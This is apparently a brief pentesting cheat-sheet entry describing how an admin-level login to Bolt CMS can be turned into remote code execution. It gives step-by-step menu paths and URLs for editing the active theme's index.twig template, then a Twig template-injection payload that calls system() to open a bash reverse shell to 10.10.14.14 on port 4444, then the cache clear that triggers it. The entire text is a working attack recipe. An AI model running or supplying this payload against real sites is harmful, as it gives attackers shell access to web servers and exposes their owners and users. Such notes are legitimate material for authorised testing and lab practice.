Bolt CMS
RCE
After login as admin (go to /bot lo access the login prompt), you can get RCE in Bolt CMS:
Select
Configuration
->View Configuration
->Main Configuration
or go the the URL path/bolt/file-edit/config?file=/bolt/config.yaml
Check the value of theme
Select
File management
->View & edit templates
Select the theme base found in the previous (
base-2021
in this case) step and selectindex.twig
In my case this is in the URL path /bolt/file-edit/themes?file=/base-2021/index.twig
Set your payload in this file via template injection (Twig), like:
{{['bash -c "bash -i >& /dev/tcp/10.10.14.14/4444 0>&1"']|filter('system')}}
And save changes
Clear the cache in
Maintenance
->Clear the cache
Access again the page as a regular user, and the payload should be executed
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